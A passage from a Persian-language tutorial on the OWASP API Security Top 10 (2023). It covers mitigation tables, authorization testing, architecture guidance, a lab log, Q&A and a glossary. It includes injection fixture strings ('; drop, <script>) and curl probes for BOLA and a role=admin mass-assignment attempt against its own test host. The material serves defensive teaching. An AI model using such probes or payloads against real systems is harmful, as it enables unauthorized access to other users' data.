سقف کاربرUNIQUE (drop_id, user_id)، MaxPerUserدقیق و بدون raceمزرعهٔ حساب
سقف دستگاهMaxPerDevice، اثرانگشت دستگاهآسیب به مزرعه روی یک دستگاهجعل‌پذیر؛ مرور حریم خصوصی
نرخ منبعLimit::perMinute(300)->by('sku:...')حفاظت کالای کمیاب و backendجهش مجاز به صف می‌رود
زمان غیرانسانیسبد → checkout حداقل 1 s با timestamp سروررایگان؛ کشف اسکریپت سادهربات هوشمند صبر می‌کند
challenge هنگام تردید428 → CAPTCHA یا step-upعبور انسان ادامه داردمزرعهٔ حل؛ دسترس‌پذیری
صف یا قرعه‌کشیاتاق انتظار یا قرعهٔ عرضهحذف مزیت سرعتتغییر محصول
خریدار تأییدشدهسابقهٔ خرید، تأیید تلفن برای عرضهافزایش هزینهٔ حساباصطکاک

API9: میزبان beta فراموش‌شده بدون limiter ​

راه‌حلروشمزیتهزینه / محدودیت
کشفپیمایش DNS و certificate transparency دامنه‌های خود، inventory ابر، ترافیک gateway و meshیافتن میزبان سایهکار تکرارشونده
OpenAPI به‌عنوان inventoryspec با x-owner، x-audience، deprecated، x-sunset؛ مقایسه با مسیر در CIمسیر سایه build را می‌شکندانضباط spec
کنترل یکسان همه‌جاauth و سقف در سرویس، نه فقط gateway جلوی productionامنیت beta برابر productionپیکربندی تکراری
بازنشستگیDeprecation → Sunset → 410 → حذف مسیر، DNS و اعتبارنامهپایان zombieمهاجرت کلاینت
بدون دادهٔ production در محیط دیگردادهٔ مصنوعی staging و betaنفوذ به beta دادهٔ واقعی نمی‌بردابزار دادهٔ تست
دفتر جریان دادههر شخص ثالث: داده، هدف و تأییدپاسخ به «شریک چه گرفت؟»حاکمیت داده

API10: شریک هک شده و redirect می‌دهد ​

راه‌حلروشمزیتهزینه / محدودیت
بدون redirect کورفهرست مجاز CheckRedirect؛ allow_redirects => falseبدنهٔ حساس جابه‌جا نمی‌شودتغییر URL شریک به config نیاز دارد
timeout و سقفTimeout، LimitReader؛ connectTimeout، timeout و طول بدنهقطعی شریک قطعی شما نمی‌شودتنظیم برای هر شریک
اعتبارسنجی پاسخطول، الگو، enum و schemainjection و دادهٔ خراب در مرز می‌مانندبا تغییر قالب شریک می‌شکند؛ خوب است چون متوجه می‌شوید
bind و encode، هرگز الحاق نکنیدپارامتر SQL و escape متن شریک در HTMLpayload داده می‌ماندندارد
تست قرارداد با fixture مهاجمتزریق '; drop، <script>، بدنهٔ 2 MB و 308 در تستحفاظت در برابر regressionنگه‌داری fixture
کنترل egressترافیک شریک از proxy خروجی با فهرست میزبان مجازدفاع در عمقزیرساخت
مرور فروشندهپیش از قرارداد "assess their API security posture"شریک بد کمترزمان تدارکات

آزمون: دو کاربر، ماتریس نقش و مقایسهٔ spec ​

نوعچه می‌کندابزارخوب پیدا می‌کنداز دست می‌دهد
تست واحد مجوز (Authorization unit test)جدول کاربر × شیء × عمل علیه PolicyGo testing، PHPUnit/Pestمنطق API1، API3، API5فراخوانی جاافتادهٔ Policy
Feature test دوکاربرهکاربر A هر شیء B را با هر متد درخواست می‌کندhttptest، Laravel Sanctum::actingAsنبود بررسی در کل مسیرمسیر تست‌نشده
ماتریس نقشهر مسیر × نقش → وضعیت موردانتظارتولید از فهرست مسیرمسیر تازهٔ بی‌policyقواعد شیء
بازپخش دستیproxy درخواست را با توکن حساب دیگر تکرار می‌کند؛ READMEِ Autorize: "automatically replays requests using low-privileged or unauthenticated contexts, and analyzes the server responses to determine whether access controls are properly enforced"Burp Suite با Repeater و افزونهٔ Autorize، OWASP ZAPBOLA، BFLA و BOPLA در ترافیک واقعیمقیاس
تست مبتنی بر specSchemathesis: "automatically generates property-based tests from OpenAPI and GraphQL schemas"؛ افزونهٔ ZAP: "allows you to spider and import OpenAPI (Swagger) definitions, versions 1.2, 2.0, 3.0, and 3.1"Schemathesis، افزونهٔ OpenAPI در ZAPفیلد مستندنشده، 500، انحراف schemaمعنای مجوز
مقایسهٔ spec و مسیرOpenAPI در برابر مسیر ثبت‌شدهinventory.Diff، route:list --json و اسکریپتمسیر سایه یا جاافتادهمیزبان بیرون repo
کشف سطح حملهمیزبان و نسخهٔ فراموش‌شدهپیمایش DNS/CT، inventory ابر و لاگ gatewayمیزبان shadow و zombie در API9API فقط داخلی
تست قرارداد بالادستیfixture شریک مهاجمسرورهای httptest، Http::fakeمدیریت API10رفتار واقعی شریک

cheat sheet با عنوان OWASP Authorization Testing Automation همین ایده را در مقیاس شرح می‌دهد: ماتریس مجوز را داده نگه دارید و تست از آن تولید کنید. حداقل روش IDOR: "Create User A and User B"، به هرکدام شیء بدهید، سپس "attempt to access User B's objects by modifying object references" برای "read, create, update, delete, export, and administrative actions".

انتخاب ​

وضعیتکنترل اصلیروش اضافهدلیل
هر endpoint شناسه‌گیرQuery محدود و Policy objectRLS، شناسهٔ عمومی تصادفی، هشدار authz_failاول‌بودن API1 بی‌دلیل نیست
SaaS چندمستأجریtenant از principal در هر QueryPostgreSQL RLS با SET LOCALیک WHERE جاافتاده مشتری را افشا می‌کند
هر پاسخ مدلDTO پاسخ / JsonResource#[Hidden]، تست schemaوگرنه ستون جدید پیش‌فرض نشت می‌کند
هر endpoint نوشتنDTO ورودی / Form Request با prohibited#[Fillable] یا $fillable، DisallowUnknownFieldsفهرست ممنوع به حالت باز شکست می‌خورد
تابع مدیریتیجدول مسیر با رد پیش‌فرض، can:adminمیزبان مستقل، step-up authBFLA حدس به‌اضافهٔ بررسی جاافتاده است
مسیر مشترک با چند متدمتد در الگو، policy هر متد405 برای بقیهدست‌کاری GET و DELETE
کالای کمیاب، رزرو، ثبت‌نام و دعوتقواعد مشخص جریان برای کاربر، دستگاه و منبعchallenge، صف و قید DBAPI6 از درخواست معتبر سوءاستفاده می‌کند
عملیات گران یا پولی؛ SMS، AI، exportسقف عملیات کاربر و هزینههشدار صورتحسابحملهٔ هزینه در API4
API عمومی نسخه‌دارOpenAPI به‌عنوان inventory، Deprecation/Sunset و 410امنیت یکسان هر نسخهٔ زندهzombie و shadow
تماس با شریککلاینت سخت‌شده: TLS، timeout، بدون redirect، سقف و اعتبارسنجیproxy خروجی، تست قراردادAPI10
GraphQLمجوز در سطح resolver و فیلدسقف عمق، هزینه و batch؛ introspection خاموش در productionیک endpoint و اشیای متعدد
واکشی URL کاربرفهرست مجاز و بررسی IP هنگام اتصالfetcher جداAPI7؛ فصل Top 10 وب

در معماری: از یک فرایند تا سیستم توزیع‌شده ​

مونولیت: یک فرایند، یک پایگاه داده ​

حالت ساده: یک router، یک لایهٔ policy و یک پایگاه داده. مثال: API در Laravel 13 با auth:sanctum روی گروه، Policy هر مدل با discovery، JsonResource برای هر پاسخ، Form Request برای هر نوشتن، throttle:api همه‌جا و throttle:checkout روی عرضه. چک‌لیست review یک جست‌وجوست: findOrFail( بدون scope، دادن ->all() به create/update، return $model یا response()->json($model)، مسیر بیرون گروه احراز‌شده، و #[Unguarded]. در Go همین مونولیت یک principal.Middleware، یک جدول ساخته‌شده با NewMux دارد که با مسیر بی‌policy شروع نمی‌شود، و تابع policy برای هر منبع. inventory یک فایل مسیر و یک سند OpenAPI است که CI مقایسه می‌کند.

مونولیت ماژولار: مرز بدون شبکه ​

ماژول‌ها داخل فرایند همدیگر را صدا می‌زنند و مجوز معمولاً فقط در مرز HTTP می‌ماند. مثال: Billing تابع InvoiceService::find(int $id) را به Support می‌دهد؛ صفحهٔ پشتیبانی هر شناسه‌ای می‌فرستد و فاکتور هر tenant را می‌گیرد، چون Policyِ HTTP اجرا نمی‌شود. اصلاح: API ماژول actor بگیرد، یعنی find(Actor $actor, int $id)، و همان policy و scopeِ tenant را داخل اجرا کند. قرارداد ماژول DTO باشد، نه مدل Eloquent عبوری از مرز؛ مدل همهٔ ویژگی‌ها را می‌دهد و ماژول دیگر را به ->update($input) دعوت می‌کند. یک logger مشترک authz_fail و یک inventory از API ماژول‌ها داشته باشید.

میکروسرویس: هر پیکان یک تصمیم است ​

API gateway مسئول TLS، احراز هویت، سقف نرخ کلی، اندازهٔ درخواست، CORS و فهرست مجاز مسیر است؛ API2، API4، API8 و API9. مسیر ناشناخته را رد می‌کند، اما نمی‌تواند مجوز شیء و ویژگی را تعیین کند؛ مالک سفارش ۱۰۰۲ یا فیلدهای مجاز برای پشتیبان را نمی‌داند. نمونهٔ جریان: موبایل → gateway که access tokenِ OAuth را اعتبارسنجی می‌کند، نسخهٔ ارسالی کلاینت از X-User-Id و X-Tenant-Id را حذف و مقدار معتبر را اضافه می‌کند و throttle کاربر را اعمال می‌کند → سرویس orders که هویت gateway را با mTLS یا توکن داخلی امضاشده می‌سنجد، tenant و مالک را بررسی و DTO می‌دهد → سرویس pricing که داخلی است، روی gateway عمومی نیست و با audience: internal ثبت شده. هر سرویس برای بررسی شیء به فراخوانندهٔ داخلی هم اعتماد نمی‌کند؛ سرویس هک‌شده یا سردرگم مسیر BOLA است. هر سرویسِ تماس‌گیرنده با شریک، مصرف‌کنندهٔ API10 با کلاینت سخت‌شدهٔ خودش است. بند microservice در API2 برقرار است: هیچ سرویس "without authentication" در دسترس نیست. لایهٔ gateway در API gateway، BFF و service mesh، هویت سرویس در Mutual TLS است.

دادهٔ توزیع‌شده: replica، cache، جست‌وجو و region ​

مجوز باید هر کپی داده را دنبال کند. index جست‌وجوی Elasticsearch یا OpenSearch ساخته‌شده از orders باید tenant_id و owner_id را ذخیره و در هر Query فیلتر کند؛ وگرنه /search?q= یک BOLA دورزنندهٔ Policyهای primary است. پاسخ شخصی در cache با کلید کاربر ذخیره شود؛ Cache-Control: private و کلید دارای tenant و user، تا DTO یک کاربر به دیگری نرسد. export تحلیلی و data lake همان فیلتر tenant و فهرست مجاز ویژگی را می‌خواهند؛ password_hash در warehouse نباشد. شمارندهٔ API6 بین نمونه‌ها و regionها state مشترک می‌خواهد: Redis مستقل هر region به ربات اجازه می‌دهد در هر region دو واحد بخرد. عرضه را به یک region ببرید یا هزینهٔ تأخیر شمارندهٔ سراسری را بپذیرید. Replica تأخیر دارد؛ نقش تازه‌باطل‌شده هنوز ممکن است از replica بخواند. بررسی مدیر از primary یا مرجع حقیقت با TTL کوتاه می‌خواند. Inventory چندمنطقه‌ای همهٔ میزبان‌ها و نسخه‌های منطقه‌ای را شامل می‌شود.

مسیر رشد: ۱x، ۱۰x، ۱۰۰x ​

مقیاسچه تغییر می‌کند
1x؛ یک تیم و یک APIPolicy و Query محدود، DTO در دو جهت، جدول مسیر با رد پیش‌فرض، تست دوکاربره، لاگ authz_fail، OpenAPI تولیدشده در CI، throttle کاربر
10x؛ چند سرویس و تیمgateway برای احراز هویت، محدودیت نرخ و فهرست مجاز مسیر؛ کتابخانهٔ مجوز مشترک یا موتور policy مانند OPA، Cedar و OpenFGA؛ تولید تست ماتریس نقش از inventory؛ سقف جریان مشترک در Redis؛ ساخت کلاینت‌های شریک از یک بستهٔ سخت‌شده؛ هشدارهای SIEM بر پایهٔ نرخ authz_fail
100x؛ پلتفرم، چند region و شریکinventory مرکزی API با مالک مشخص و جریان داده طبق NIST REC-API-4؛ کشف Shadow API از ترافیک واقعی؛ اعمال چرخهٔ عمر نسخه توسط پلتفرم با Deprecation/Sunset/410؛ مدیریت ربات در مرز برای جریان‌های نام‌گذاری‌شده؛ مجوز رابطه‌محور یا ReBAC برای اشتراک‌گذاری؛ مرور امنیت فروشنده برای تک‌تک integrationها؛ برنامهٔ bug bounty با دامنهٔ مشخص API

آزمایشگاه ​

گام‌های ۱ تا ۳ و ۹ روی این ماشین اجرا شده‌اند: Go 1.27.4، PHP 8.5.0 CLI و jq. بقیه موردانتظار و اجرا‌نشده هستند؛ برنامهٔ Laravel، پایگاه داده و هدف شبکه موجود نبوده است.

  1. اجرای تست‌های Go؛ اجرای واقعی در ۲۰۲۶-۱۱-۲۹:
$ cd docs/snippets/system-design/owasp-api-security-top-10/go
$ go test -race -count=1 ./...
ok      academy/owasp-api-security-top-10/authn
ok      academy/owasp-api-security-top-10/bfla
ok      academy/owasp-api-security-top-10/bola
ok      academy/owasp-api-security-top-10/bopla
ok      academy/owasp-api-security-top-10/consume
ok      academy/owasp-api-security-top-10/flows
ok      academy/owasp-api-security-top-10/inventory
ok      academy/owasp-api-security-top-10/misconfig
ok      academy/owasp-api-security-top-10/principal
ok      academy/owasp-api-security-top-10/resource
ok      academy/owasp-api-security-top-10/ssrf
  1. اجرای واقعی: gofmt -l . و go vet ./... خروجی ندارند. تست‌ها را به این ترتیب بخوانید و پیش از دیدن هر assertion نتیجه را پیش‌بینی کنید: bola_test.go؛ Ana سفارش Bob را می‌خواند و ۳ شناسه از ۴ شناسه را پیمایش می‌کند؛ پس از اصلاح، شیء بیگانه و ناموجود ۴۰۴ بایت‌به‌بایت یکسان و دقیقاً یک خط authz_fail می‌دهند. bopla_test.go؛ password_hash در پاسخ و نوشتن role و blocked؛ سپس خروجی DTO دقیقاً {"id":313,"name":"Sam"} است. bfla_test.go؛ سه فراخوانی مدیریتی برای کاربر موفق می‌شوند؛ پس از اصلاح، ۴۰۳ برای کاربر، ۲۰۰ برای مدیر، ۴۰۵ برای PUT، و رد مسیر بی‌policy توسط NewMux. flows_test.go؛ یک اسکریپت ۱۰۰ از ۱۰۰ را می‌خرد؛ پس از اصلاح ۲ و حساب دوم روی همان دستگاه ۰. inventory_test.go؛ /debug/vars زنده است؛ پس از اصلاح startup با shadow=[GET /debug/vars] شکست می‌خورد، v1 هدر Deprecation: @1782863999 و سپس ۴۱۰ می‌دهد. consume_test.go؛ سرور مهاجم رکورد ۲۱ بایتی می‌گیرد؛ پس از اصلاح، ErrRedirect برای redirect، ErrEndpoint برای گام اول http:// یا خارج فهرست و ۰ بایت.
  2. اجرای واقعی: php -l روی ۲۴ فایل PHP برای هرکدام No syntax errors detected چاپ می‌کند.
  3. موردانتظار، اجرا‌نشده: در برنامهٔ Laravel 13 با php artisan install:api برای Sanctum، فایل‌ها در جای خود کپی شوند، Before/routes.php به routes/before.php برود و migration و factory همراه نصب شوند. دستور php artisan test --filter='ApiSecurityTest|BeforeLeaksTest' باید ۲۵ تست را قبول کند: ۱۰ در BeforeLeaksTest با مشاهدهٔ نشت و ۱۵ در ApiSecurityTest علیه مسیرهای اصلاح‌شده.
  4. موردانتظار، اجرا‌نشده: آزمون دستی BOLA علیه برنامه.
$ TOKEN_ANA=...; curl -s -o /dev/null -w '%{http_code}\n' -H "Authorization: Bearer $TOKEN_ANA" https://api.test/api/v2/orders/1002
404
$ tail -n1 storage/logs/laravel.log
[2026-11-29 10:00:00] local.WARNING: authz_fail {"user_id":41,"ability":"view","resource":"App\\Models\\Order","object_id":1002}
  1. موردانتظار، اجرا‌نشده: کاوش BOPLA. دستور curl -s -X PATCH -H "Authorization: Bearer $TOKEN_ANA" -H 'Content-Type: application/json' -H 'Accept: application/json' -d '{"name":"Ana","role":"admin"}' https://api.test/api/v2/me مقدار 422 با {"message":"The role field is prohibited.","errors":{"role":["The role field is prohibited."]}} می‌دهد. بدنهٔ خطای JSON به Accept: application/json نیاز دارد؛ بدون آن Laravel شکست اعتبارسنجی را redirect می‌کند.
  2. موردانتظار، اجرا‌نشده: BFLA. دستور curl -s -o /dev/null -w '%{http_code}' -H "Authorization: Bearer $TOKEN_ANA" https://api.test/api/v2/admin/users مقدار 403 چاپ می‌کند.
  3. موردانتظار، اجرا‌نشده: چرخهٔ عمر API9. دستور curl -sI -H "Authorization: Bearer $TOKEN_ANA" https://api.test/api/v1/orders/1001 | grep -iE 'deprecation|sunset|link' هدرهای Deprecation: @1782863999، Sunset: Thu, 31 Dec 2026 23:59:59 GMT و Link: </api/v2/orders>; rel="successor-version" را نشان می‌دهد؛ ساعت پس از sunset، خط وضعیت HTTP/2 410 می‌شود.
  4. اجرای واقعی: مقایسهٔ inventory. در CI ورودی نخست از php artisan route:list --json --path=api > routes.json می‌آید؛ این بخش موردانتظار و اینجا اجرا‌نشده است. اجرای ثبت‌شده از fixture با همان شکل JSON استفاده می‌کند: یکی مطابق routes/api.php و دیگری با مسیر سایهٔ اضافه:
$ cd docs/snippets/system-design/owasp-api-security-top-10/php
$ scripts/inventory-diff.sh tests/fixtures/route-list.json openapi.json; echo "exit=$?"
exit=0
$ scripts/inventory-diff.sh tests/fixtures/route-list-shadow.json openapi.json; echo "exit=$?"
1d0
< GET /api/debug/env
exit=1
$ scripts/inventory-diff.sh tests/fixtures/route-list-extra-method.json openapi.json; echo "exit=$?"
10d9
< POST /api/v2/orders
exit=1

فیلد method هر مسیر با شکل GET|HEAD|POST به یک خط برای هر متد گسترش می‌یابد. HEAD حذف می‌شود چون GET آن را ضمنی دارد؛ بنابراین POST اعلام‌نشده روی مسیر موجود پشت GET پنهان نمی‌شود. شرط شکست CI کد خروج است: هر خط < یعنی shadow، در کد و نه spec؛ هر خط > یعنی missing، در spec و نه کد. هرکدام خروج diff را ۱ و job را ناموفق می‌کند. همتای Go، inventory.Mount است که شروع را رد می‌کند. inventory.Parse نیز template مسیر مانند {id} را بدون پارامتر مسیر required رد می‌کند؛ این الزام OpenAPI 3.1 است. ابتدا پارامترها طبق OpenAPI resolve می‌شوند: پارامتر سطح operation جای پارامتر سطح path با نام و in یکسان را می‌گیرد.

بدفهمی‌های رایج ​

باورواقعیت
احراز هویت یعنی مجوزتوکن معتبر می‌گوید چه کسی؛ BOLA، BFLA و BOPLA همگی «احراز‌شده ولی غلط» هستند
UUID جلوی BOLA را می‌گیردجلوی enumeration را می‌گیرد؛ شناسهٔ نشت‌کرده بدون بررسی شیء هنوز کار می‌کند؛ RFC 9562: "SHOULD NOT assume that UUIDs are hard to guess"
مقایسهٔ JWT sub با شناسهٔ مسیر BOLA را حل می‌کندOWASP: فقط "only a small subset of cases"
403 برای شیء بیگانه صادقانه‌تر از 404 است403 وجود شیء را تأیید می‌کند؛ 404 یکسان کانال کشف وجود را حذف می‌کند
کلاینت فیلد حساس را پنهان می‌کند، پس API می‌تواند بدهدپاسخ خود داده است؛ DTO پاسخ بسازید
$guarded = ['role'] امن استستون تازه فهرست ممنوع را به حالت باز می‌شکند؛ $fillable / #[Fillable]
اعتبارسنجی فیلد موردانتظار جلوی Mass Assignment را می‌گیردفیلد غیرمنتظره باید رد شود یا با فهرست مجاز نادیده گرفته شود
مسیر مدیریتی /admin با قاعدهٔ gateway محافظت می‌شودتابع مدیریتی اغلب زیر /api/users هم هست؛ بررسی هر مسیر و متد
سقف IP ربات را متوقف می‌کندربات توزیع‌شده IPهای متعدد دارد؛ سقف جریان برای کاربر، دستگاه و منبع
سوءاستفادهٔ جریان باگ امنیتی نیستOWASP آن را API6 می‌داند؛ جریان بدون کنترل جبرانی عرضه شده
نسخهٔ قدیمی مستندنشده بی‌ضرر استZombie و Shadow API ضعف قدیمی و دادهٔ واقعی را نگه می‌دارند
gateway همهٔ میزبان‌ها را محافظت می‌کندفقط میزبان عبوری از خودش؛ beta در OWASP limiter را دور زد
API شریک منبع مورداعتماد استAPI10: اعتبارسنجی، سقف، timeout و هرگز redirect کور
کلاینت HTTP پیش‌فرض امن استDefaultClient در Go timeout ندارد و 10 redirect دنبال می‌کند؛ timeout پیش‌فرض Laravel برابر 30 s است
Injection از فهرست API حذف شده، پس مهم نیستاز مسیر دادهٔ بالادستی API10 و سخت‌سازی API8 برمی‌گردد

چکیده ​

موضوعبه خاطر بسپارید
فهرست2023: BOLA، Broken Authentication، BOPLA، Resource Consumption، BFLA، Business Flows، SSRF، Misconfiguration، Inventory، Unsafe Consumption
سه سطح مجوزتابع API5، شیء API1، ویژگی API3؛ هر سه در هر درخواست
اصلاح BOLAprincipal از context، Query محدود، Policy object، 404 بیگانه و authz_fail
BOLA در Laravelwhere('tenant_id', ...)->findOrFail($id)، Gate::authorize('view', $order)، Response::denyAsNotFound()
شناسهUUIDv7/UUIDv4 عمومی علیه enumeration؛ هرگز جای بررسی نیست
خواندن BOPLADTO پاسخ / JsonResource؛ #[Hidden] فقط پشتیبان
نوشتن BOPLADTO ورودی و DisallowUnknownFields؛ Form Request و prohibited؛ #[Fillable] / $fillable، هرگز $guarded = []
BFLAرد پیش‌فرض؛ متد در مسیر؛ گروه can:admin و attributeِ controller؛ تست ماتریس نقش
API6جریان را نام‌گذاری کنید؛ سقف کاربر، دستگاه و منبع؛ زمان سبد تا checkout؛ challenge و قید DB
API4سقف صفحه، بدنه و batch، timeout و هزینه
API9OpenAPI با مالک و چرخهٔ عمر؛ مقایسهٔ CI؛ Deprecation → Sunset → 410 → حذف
API10TLS، فهرست مجاز میزبان، بدون redirect کور، timeout، سقف اندازه، اعتبارسنجی فیلد و bind پارامتر
API2Re-authentication تغییر ایمیل/MFA؛ محدودیت reset مانند ورود
API7 / API8فهرست URL و بررسی IP هنگام اتصال؛ خطای عمومی problem+json؛ CORS دقیق
لاگauthz_fail با کاربر، ability، منبع و شناسهٔ شیء؛ هشدار نرخ کاربر
تستدو کاربر هر tenant و یکی در tenant بیگانه؛ هر منبع × متد

خودآزمایی: پرسش و پاسخ ​

نمایش:
  • حیاتی تقریباً در هر مصاحبه پرسیده می‌شود
  • مهم پرتکرار؛ در سطح senior انتظار می‌رود
  • تکمیلی عمق بیشتر؛ تمایز ایجاد می‌کند

۱ — تفاوت BOLA و BFLA چیست؟ برای هرکدام یک مثال بزنید. حیاتی ​

پاسخ

پاسخ: در BOLA یا API1، تابع مجاز است ولی این شیء مجاز نیست؛ Ana با GET /orders/1002 سفارش Bob را می‌خواند. در BFLA یا API5، خود تابع مجاز نیست؛ کاربر عادی POST /api/invites/new یا DELETE /api/users/2 را صدا می‌زند. OWASP دربارهٔ رسیدن مهاجم به تابع غیرمجاز می‌گوید: "this is a case of Broken Function Level Authorization (BFLA) rather than BOLA". API1 و API5 را ببینید.

۲ — چرا مقایسهٔ subject توکن JWT با شناسهٔ مسیر، اصلاح BOLA نیست؟ حیاتی ​

پاسخ

پاسخ: فقط مسیرهایی را پوشش می‌دهد که شناسه خود کاربر است: /users/{id}. بیشتر اشیا، مانند سفارش، فاکتور، سند، خودرو و فروشگاه، از طریق رابطه مالک دارند، در tenant مشترک‌اند یا دسترسی‌شان واگذار شده. باید شیء بارگذاری و policy روی مالک و tenant ارزیابی شود. OWASP می‌گوید این مقایسه "could address only a small subset of cases".

۳ — شیء بیگانه باید ۴۰۳ بدهد یا ۴۰۴؟ لاگ چه بگوید؟ مهم ​

پاسخ

پاسخ: ۴۰۴ دقیقاً مشابه شیء ناموجود، تا پاسخ وجود شناسه را تأیید نکند؛ Response::denyAsNotFound() در Laravel همین کار را می‌کند. لاگ فقط وقتی شیء موجود و Policy ردکننده است رخداد authz_fail می‌نویسد: کاربر، ability، نوع منبع، شناسهٔ شیء و request id. به این ترتیب هشدار کاوش را اندازه می‌گیرد، نه غلط تایپی را.

۴ — UUID، BOLA را اصلاح می‌کند؟ چه چیزی را اصلاح می‌کند؟ حیاتی ​

پاسخ

پاسخ: نه. شناسهٔ تصادفی، UUIDv4 یا بخش تصادفی UUIDv7، enumeration و افشای حجم را می‌بندد تا BOLA با حلقه قابل‌بهره‌برداری نباشد. شناسهٔ نشت‌کرده از لینک، لاگ یا پاسخ دیگر بدون بررسی مجوز شیء هنوز کار می‌کند. RFC 9562 می‌گوید UUIDها "MUST NOT be used as security capabilities"؛ آن‌ها را دفاع در عمق بدانید.

۵ — کدام دو خطر ۲۰۱۹ به API3 BOPLA تبدیل شدند و اصلاح هر سمت چیست؟ حیاتی ​

پاسخ

پاسخ: API3:2019 Excessive Data Exposure در سمت خواندن و API6:2019 Mass Assignment در سمت نوشتن، بر پایهٔ ریشهٔ مشترک مجوز ویژگی ادغام شدند. خواندن: DTO پاسخ با فهرست ویژگی مجاز؛ JsonResource یا structِ Go برای هر مخاطب. نوشتن: DTO ورودی یا Form Request با DisallowUnknownFields، prohibited و $fillable/#[Fillable] که فقط ویژگی مجاز بپذیرد.

۶ — چرا $guarded ضعیف‌تر از $fillable است؟ مهم ​

پاسخ

پاسخ: $guarded فهرست ممنوع است؛ هر ستون خارج فهرست نوشتنی است. ستون تازه‌ای مثل is_verified یا credit_limit بدون تصمیم کسی mass-assignable می‌شود. $fillable (در Laravel 13: #[Fillable]) فهرست مجاز است؛ ستونی که صریحاً در آن نیامده باشد قابل‌نوشتن نیست. cheat sheetِ OWASP: "Do not rely on a block-list as the sole protection."

۷ — چگونه مسیر مدیریتی بدون بررسی را ناممکن می‌کنید، نه فقط کم‌احتمال؟ مهم ​

پاسخ

پاسخ: رد پیش‌فرض در ثبت: هر مسیر باید policy خود، یعنی نقش‌ها یا «هر کاربر احراز‌شده» صریح، را اعلام کند؛ وگرنه router مانند bfla.NewMux شروع نمی‌شود. متد در الگو باشد تا DELETE policy خودش و متد ثبت‌نشده ۴۰۵ داشته باشد. در Laravel همهٔ مسیرها داخل گروه احراز‌شده، مسیر مدیر داخل can:admin و بررسی دوباره روی controller با #[Middleware('can:admin')] باشد؛ تست ماتریس مسیر × نقش پشتوانهٔ آن است.

۸ — همهٔ درخواست‌ها معتبر بودند ولی ربات‌ها کل عرضه را خریدند. چهار کنترل و محدودیتشان چیست؟ حیاتی ​

پاسخ

پاسخ: سقف کاربر با UNIQUE (drop_id, user_id) در پایگاه داده، که مزرعهٔ حساب دور می‌زند؛ سقف دستگاه با اثرانگشت، که جعل‌پذیر است و مرور حریم خصوصی می‌خواهد. قاعدهٔ زمان غیرانسانی مانند سبد تا checkout زیر یک ثانیه، که ربات هوشمند با صبر دور می‌زند؛ و نرخ منبع، مثلاً هر SKU در دقیقه، که جهش مجاز را هم به صف می‌برد. هنگام تردید CAPTCHA یا step-up بدهید و صف یا قرعه‌کشی را در نظر بگیرید تا سرعت مزیت نباشد.

۹ — Shadow API و Zombie API چیستند و OpenAPI چگونه کمک می‌کند؟ مهم ​

پاسخ

پاسخ: Shadow API اجرا می‌شود ولی هرگز ثبت نشده: مسیر debug، میزبان beta یا endpoint شریک. Zombie API جایگزین شده ولی حذف نشده، مثل نسخهٔ قدیمی بدون محدودیت نرخ تازه. با OpenAPI به‌عنوان inventory شامل مسیر، متد، x-owner، x-audience، deprecated و x-sunset، CI آن را با مسیرهای build مقایسه و روی shadow شکست می‌خورد. middleware چرخهٔ عمر با Deprecation/Sunset کنارگذاری را اعلام می‌کند و پس از sunset پاسخ ۴۱۰ می‌دهد.

۱۰ — پنج کاری را بگویید که کلاینت API شریک باید انجام دهد و http.DefaultClient انجام نمی‌دهد. مهم ​

پاسخ

پاسخ: timeout بگذارد؛ پیش‌فرض ندارد. Redirect بیرون فهرست مجاز را رد کند؛ پیش‌فرض تا ۱۰ بار دنبال می‌کند و بدنه را روی ۳۰۷/۳۰۸ دوباره می‌فرستد. TLS را الزامی، بدنه را با io.LimitReader محدود، وضعیت و content type را بررسی، و سپس هر فیلد را مثل ورودی کاربر اعتبارسنجی و پارامتر SQL کند. این همان فهرست API10 است: TLS، اعتبارسنجی، بدون redirect کور، سقف منابع و timeout.

۱۱ — چرا API gateway به‌تنهایی BOLA و BOPLA را حل نمی‌کند؟ تکمیلی ​

پاسخ

پاسخ: gateway مسیر، متد و توکن را می‌بیند، نه پایگاه داده. نمی‌داند سفارش ۱۰۰۲ متعلق به کاربر ۵۷ است یا این بیننده کدام فیلدهای کاربر را مجاز است ببیند. احراز هویت، محدودیت نرخ، فهرست مسیر و قواعد کلی نقش یا scope را انجام می‌دهد؛ API2، API4، بخشی از API5 و API9. بررسی شیء و ویژگی به دادهٔ دامنه نیاز دارد و در سرویس است.

۱۲ — چرا Injection و Insufficient Logging از فهرست API سال ۲۰۲۳ حذف شدند؟ یعنی دیگر مهم نیستند؟ تکمیلی ​

پاسخ

پاسخ: یادداشت انتشار برای حذف هیچ‌یک از این دو دسته دلیل مشخصی نمی‌دهد؛ دربارهٔ خود فهرست می‌گوید "does not replace other TOP 10's". موضوع Injection در فصل OWASP Top 10 وب به‌طور کامل بررسی می‌شود، درحالی‌که صفحهٔ API6 همچنان مدخل ثبت لاگِ فهرست ۲۰۱۹ را در منابعش دارد. بنابراین هر دو هنوز اهمیت دارند: سناریوهای API10 نشان‌دهندهٔ تزریق از مسیر دادهٔ بالادستی‌اند، و تشخیص درخواست‌هایی که برای کشف BOLA ارسال می‌شوند به ثبت و هشدار شکست‌های مجوز وابسته است.

واژه‌نامه ​

اصطلاحمعنی
OWASP API Security Top 10 2023دومین ویرایش OWASP پس از ۲۰۱۹ برای ده خطر مهم امنیت API؛ API1:2023 تا API10:2023
روش امتیازدهی OWASP Risk Rating Methodologyامتیاز هر خطر بر پایهٔ exploitability، شیوع ضعف، تشخیص‌پذیری و اثر فنی؛ هرکدام 3/2/1
جدول ریسک (Risk table: exploitability, prevalence, detectability, impact)سطر امتیاز هر خطر در بالای صفحهٔ OWASP آن
API1 Broken Object Level Authorization (BOLA)فراخواننده مجاز به endpoint است ولی با تغییر شناسه به شیء دیگری می‌رسد
IDORInsecure Direct Object Reference؛ نام وب همین شکست، CWE-639
بررسی مجوز شیء (Object-level authorization check)تصمیم هر درخواست: «این فراخواننده این عمل را روی این شیء مجاز است؟»
پیمایش شناسه (Enumeration)یافتن شناسهٔ معتبر با آزمودن ترتیب یا الگو
UUID در برابر شناسهٔ ترتیبی (UUID vs sequential ids)UUIDv4 و UUIDv7 تصادفی در برابر enumeration مقاوم‌اند؛ ترتیبی حجم و ترتیب را افشا می‌کند؛ هیچ‌کدام مجوز نیست
UUIDv7UUID در RFC 9562 با timestamp میلی‌ثانیهٔ Unix در 48 بیت و سپس بیت تصادفی؛ مرتب‌شده با زمان
بررسی مالکیت از context (Context-based ownership check)خواندن فراخواننده از context درخواست، هرگز از خود ورودی، و مقایسه با مالک و tenant شیء
